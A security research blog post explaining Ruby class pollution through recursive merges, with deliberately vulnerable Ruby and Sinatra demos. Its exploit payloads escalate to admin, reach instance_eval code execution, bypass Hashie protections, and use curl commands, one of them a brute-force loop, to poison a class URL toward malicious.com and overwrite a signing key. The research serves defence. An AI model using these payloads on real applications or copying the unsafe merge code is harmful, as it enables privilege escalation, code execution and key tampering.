Class Pollution in Ruby: A Deep Dive into Exploiting Recursive Merges

02 Oct 2024 - Posted by Raúl Miján

Introduction

In this post, we are going to explore a rarely discussed class of vulnerabilities in Ruby, known as class pollution. This concept is inspired by the idea of prototype pollution in JavaScript, where recursive merges are exploited to poison the prototype of objects, leading to unexpected behaviors. This idea was initially discussed in a blog post about prototype pollution in Python, in which the researcher used recursive merging to poison class variables and eventually global variables via the __globals__ attribute.

In Ruby, we can categorize class pollution into three main cases:

  1. Merge on Hashes: In this scenario, class pollution isn’t possible because the merge operation is confined to the hash itself.

  2. Merge on Attributes (Non-Recursive): Here, we can poison the instance variables of an object, potentially replacing methods by injecting return values. This pollution is limited to the object itself and does not affect the class.

current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
  1. Merge on Attributes (Recursive): In this case, the recursive nature of the merge allows us to escape the object context and poison attributes or methods of parent classes or even unrelated classes, leading to a broader impact on the application.

Merge on Attributes

Let’s start by examining a code example where we exploit a recursive merge to modify object methods and alter the application’s behavior. This type of pollution is limited to the object itself.

require 'json'


# Base class for both Admin and Regular users
class Person

  attr_accessor :name, :age, :details

  def initialize(name:, age:, details:)
    @name = name
    @age = age
    @details = details
  end

  # Method to merge additional data into the object
  def merge_with(additional)
    recursive_merge(self, additional)
  end

  # Authorize based on the `to_s` method result
  def authorize
    if to_s == "Admin"
      puts "Access granted: #{@name} is an admin."
    else
      puts "Access denied: #{@name} is not an admin."
    end
  end

  # Health check that executes all protected methods using `instance_eval`
  def health_check
    protected_methods().each do |method|
      instance_eval(method.to_s)
    end
  end

  private

  def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|

      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        current_obj.instance_variable_set("@#{key}", value)
        current_obj.singleton_class.attr_accessor key
      end
    end
    original
  end

  protected

  def check_cpu
    puts "CPU check passed."
  end

  def check_memory
    puts "Memory check passed."
  end
end

# Admin class inherits from Person
class Admin < Person
  def initialize(name:, age:, details:)
    super(name: name, age: age, details: details)
  end

  def to_s
    "Admin"
  end
end

# Regular user class inherits from Person
class User < Person
  def initialize(name:, age:, details:)
    super(name: name, age: age, details: details)
  end

  def to_s
    "User"
  end
end

class JSONMergerApp
  def self.run(json_input)
    additional_object = JSON.parse(json_input)

    # Instantiate a regular user
    user = User.new(
      name: "John Doe",
      age: 30,
      details: {
        "occupation" => "Engineer",
        "location" => {
          "city" => "Madrid",
          "country" => "Spain"
        }
      }
    )


    # Perform a recursive merge, which could override methods
    user.merge_with(additional_object)

    # Authorize the user (privilege escalation vulnerability)
    # ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
    user.authorize

    # Execute health check (RCE vulnerability)
    # ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
    user.health_check

  end
end

if ARGV.length != 1
  puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
  exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

In the provided code, we perform a recursive merge on the attributes of the User object. This allows us to inject or override values, potentially altering the object’s behavior without directly modifying the class definition.

How It Works:

  1. Initialization and Setup:
    • The User object is initialized with specific attributes: name, age, and details. These attributes are stored as instance variables within the object.
  2. Merge:
    • The merge_with method is called with a JSON input that represents the additional data to be merged into the User object.
  3. Altering Object Behavior:
    • By passing carefully crafted JSON data, we can modify or inject new instance variables that affect how the User object behaves.
    • For example, in the authorize method, the to_s method determines whether the user is granted admin privileges. By injecting a new to_s method with a return value of "Admin", we can escalate the user’s privileges.
    • Similarly, in the health_check method, we can inject arbitrary code execution by overriding methods that are called via instance_eval.

Example Exploits:

  • Privilege Escalation: ruby class_pollution.rb {"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}
    • This injects a new to_s method that returns "Admin", granting the user unauthorized admin privileges.
  • Remote Code Execution: ruby class_pollution.rb {"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}
    • This injects a new method into the protected_methods list, which is then executed by instance_eval, allowing arbitrary code execution.

Class Pollution Gadgets

Limitations:

  • The aforementioned changes are limited to the specific object instance and do not affect other instances of the same class. This means that while the object’s behavior is altered, other objects of the same class remain unaffected.

This example highlights how seemingly innocuous operations like recursive merges can be leveraged to introduce severe vulnerabilities if not properly managed. By understanding these risks, developers can better protect their applications from such exploits.

Real-World Cases

Next, we’ll explore two of the most popular libraries for performing merges in Ruby and see how they might be vulnerable to class pollution. It’s important to note that there are other libraries potentially affected by this class of issues and the overall impact of these vulnerabilities varies.

1. ActiveSupport’s deep_merge

ActiveSupport, a built-in component of Ruby on Rails, provides a deep_merge method for hashes. By itself, this method isn’t exploitable given it is limited to hashes. However, if used in conjunction with something like the following, it could become vulnerable:

# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)

merged_hash.each do |key, value|
  self.class.attr_accessor key
  instance_variable_set("@#{key}", value)
end

self
end

In this example, if the deep_merge is used as shown, we can exploit it similarly to the first example, leading to potentially dangerous changes in the application’s behavior.

Active Support Class Pollution

2. Hashie

The Hashie library is widely used for creating flexible data structures in Ruby, offering features such as deep_merge. However, unlike the previous example with ActiveSupport, Hashie’s deep_merge method operates directly on object attributes rather than plain hashes. This makes it more susceptible to attribute poisoning.

Hashie has a built-in mechanism that prevents the direct replacement of methods with attributes during a merge. Normally, if you try to override a method with an attribute via deep_merge, Hashie will block the attempt and issue a warning. However, there are specific exceptions to this rule: attributes that end with _, !, or ? can still be merged into the object, even if they conflict with existing methods.

Key Points

  1. Method Protection: Hashie protects method names from being directly overridden by attributes ending in _, !, or ?. This means that, for example, trying to replace a to_s method with a to_s_ attribute will not raise an error, but the method will not be replaced either. The value of to_s_ will not override the method behavior, ensuring that existing method functionality remains intact. This protection mechanism is crucial to maintaining the integrity of methods in Hashie objects.

  2. Special Handling of _: The key vulnerability lies in the handling of _ as an attribute on its own. In Hashie, when you access _, it returns a new Mash object (essentially a temporary object) of the class you are interacting with. This behavior allows attackers to access and work with this new Mash object as if it were a real attribute. While methods cannot be replaced, this feature of accessing the _ attribute can still be exploited to inject or modify values.

    For example, by injecting "_": "Admin" into the Mash, an attacker could trick the application into accessing the temporary Mash object created by _, and this object can contain maliciously injected attributes that bypass protections.

A Practical Example

Consider the following code:

require 'json'
require 'hashie'

# Base class for both Admin and Regular users
class Person < Hashie::Mash

  # Method to merge additional data into the object using hashie
  def merge_with(other_object)
    deep_merge!(other_object)
    self
  end

  # Authorize based on to_s
  def authorize
    if _.to_s == "Admin"
      puts "Access granted: #{@name} is an admin."
    else
      puts "Access denied: #{@name} is not an admin."
    end
  end

end

# Admin class inherits from Person
class Admin < Person
  def to_s
    "Admin"
  end
end

# Regular user class inherits from Person
class User < Person
  def to_s
    "User"
  end
end

class JSONMergerApp
  def self.run(json_input)
    additional_object = JSON.parse(json_input)

    # Instantiate a regular user
    user = User.new({
      name: "John Doe",
      age: 30,
      details: {
        "occupation" => "Engineer",
        "location" => {
          "city" => "Madrid",
          "country" => "Spain"
        }
      }
    })

    # Perform a deep merge, which could override methods
    user.merge_with(additional_object)

    # Authorize the user (privilege escalation vulnerability)
    # Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
    # Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
    user.authorize
  end
end

if ARGV.length != 1
  puts "Usage: ruby hashie.rb 'JSON_STRING'"
  exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

In the provided code, we are exploiting Hashie’s handling of _ to manipulate the behavior of the authorization process. When _.to_s is called, instead of returning the method-defined value, it accesses a newly created Mash object, where we can inject the value "Admin". This allows an attacker to bypass method-based authorization checks by injecting data into the temporary Mash object.

For example, the JSON payload {"_": "Admin"} injects the string “Admin” into the temporary Mash object created by _, allowing the user to be granted admin access through the authorize method even though the to_s method itself hasn’t been directly overridden.

This vulnerability highlights how certain features of the Hashie library can be leveraged to bypass application logic, even with protections in place to prevent method overrides.

Hashie Support Class Pollution

Escaping the Object to Poison the Class

When the merge operation is recursive and targets attributes, it’s possible to escape the object context and poison attributes or methods of the class, its parent class, or even other unrelated classes. This kind of pollution affects the entire application context and can lead to severe vulnerabilities.

require 'json'
require 'sinatra/base'
require 'net/http'

# Base class for both Admin and Regular users
class Person
  @@url = "http://default-url.com"

  attr_accessor :name, :age, :details

  def initialize(name:, age:, details:)
    @name = name
    @age = age
    @details = details
  end

  def self.url
    @@url
  end

  # Method to merge additional data into the object
  def merge_with(additional)
    recursive_merge(self, additional)
  end

  private

  # Recursive merge to modify instance variables
  def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|
      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        current_obj.instance_variable_set("@#{key}", value)
        current_obj.singleton_class.attr_accessor key
      end
    end
    original
  end
end

class User < Person
  def initialize(name:, age:, details:)
    super(name: name, age: age, details: details)
  end
end

# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
  @@signing_key = "default-signing-key"

  def self.signing_key
    @@signing_key
  end

  def sign(signing_key, data)
    "#{data}-signed-with-#{signing_key}"
  end
end

class JSONMergerApp < Sinatra::Base
  # POST /merge - Infects class variables using JSON input
  post '/merge' do
    content_type :json
    json_input = JSON.parse(request.body.read)

    user = User.new(
      name: "John Doe",
      age: 30,
      details: {
        "occupation" => "Engineer",
        "location" => {
          "city" => "Madrid",
          "country" => "Spain"
        }
      }
    )

    user.merge_with(json_input)

    { status: 'merged' }.to_json
  end

  # GET /launch-curl-command - Activates the first gadget
  get '/launch-curl-command' do
    content_type :json

    # This gadget makes an HTTP request to the URL stored in the User class
    if Person.respond_to?(:url)
      url = Person.url
      response = Net::HTTP.get_response(URI(url))
      { status: 'HTTP request made', url: url, response_body: response.body }.to_json
    else
      { status: 'Failed to access URL variable' }.to_json
    end
  end

  # Curl command to infect User class URL:
  # curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge

  # GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
  get '/sign_with_subclass_key' do
    content_type :json

    # This gadget signs data using the signing key stored in KeySigner class
    signer = KeySigner.new
    signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

    { status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
  end

  # Curl command to infect KeySigner signing key (run in a loop until successful):
  # for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done

  # GET /check-infected-vars - Check if all variables have been infected
  get '/check-infected-vars' do
    content_type :json

    {
      user_url: Person.url,
      signing_key: KeySigner.signing_key
    }.to_json
  end

  run! if app_file == $0
end

In the following example, we demonstrate two distinct types of class pollution:

  1. (A) Poisoning the Parent Class: By recursively merging attributes, we can modify variables in the parent class. This modification impacts all instances of that class and can lead to unintended behavior across the application.

  2. (B) Poisoning Other Classes: By brute-forcing subclass selection, we can eventually target and poison specific classes. This approach involves repeatedly attempting to poison random subclasses until the desired one is infected. While effective, this method can cause issues due to the randomness and potential for over-infection.

Detailed Explanation of Both Exploits

(A) Poisoning the Parent Class

In this exploit, we use a recursive merge operation to modify the @@url variable in the Person class, which is the parent class of User. By injecting a malicious URL into this variable, we can manipulate subsequent HTTP requests made by the application.

For example, using the following curl command:

curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge

We successfully poison the @@url variable in the Person class. When the /launch-curl-command endpoint is accessed, it now sends a request to http://malicious.com instead of the original URL.

This demonstrates how recursive merges can escape the object level and modify class-level variables, affecting the entire application.

Class Pollution Curl Gadget

(B) Poisoning Other Classes

This exploit leverages brute-force to infect specific subclasses. By repeatedly attempting to inject malicious data into random subclasses, we can eventually target and poison the KeySigner class, which is responsible for signing data.

For example, using the following looped curl command:

for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done

We attempt to poison the @@signing_key variable in KeySigner. After several attempts, the KeySigner class is infected, and the signing key is replaced with our injected key.

This exploit highlights the dangers of recursive merges combined with brute-force subclass selection. While effective, this method can cause issues due to its aggressive nature, potentially leading to the over-infection of classes.

Class Pollution Sign Gadget

In the latter examples, we set up an HTTP server to demonstrate how the infected classes remain poisoned across multiple HTTP requests. The persistent nature of these infections shows that once a class is poisoned, the entire application context is compromised, and all future operations involving that class will behave unpredictably.

The server setup also allowed us to easily check the state of these infected variables via specific endpoints. For example, the /check-infected-vars endpoint outputs the current values of the @@url and @@signing_key variables, confirming whether the infection was successful.

This approach clearly shows how class pollution in Ruby can have lasting and far-reaching consequences, making it a critical area to secure.

Conclusion

The research conducted here highlights the risks associated with class pollution in Ruby, especially when recursive merges are involved. These vulnerabilities are particularly dangerous because they allow attackers to escape the confines of an object and manipulate the broader application context. By understanding these mechanisms and carefully considering how data merges are handled, it is possible to mitigate the risk of class pollution in Ruby applications.

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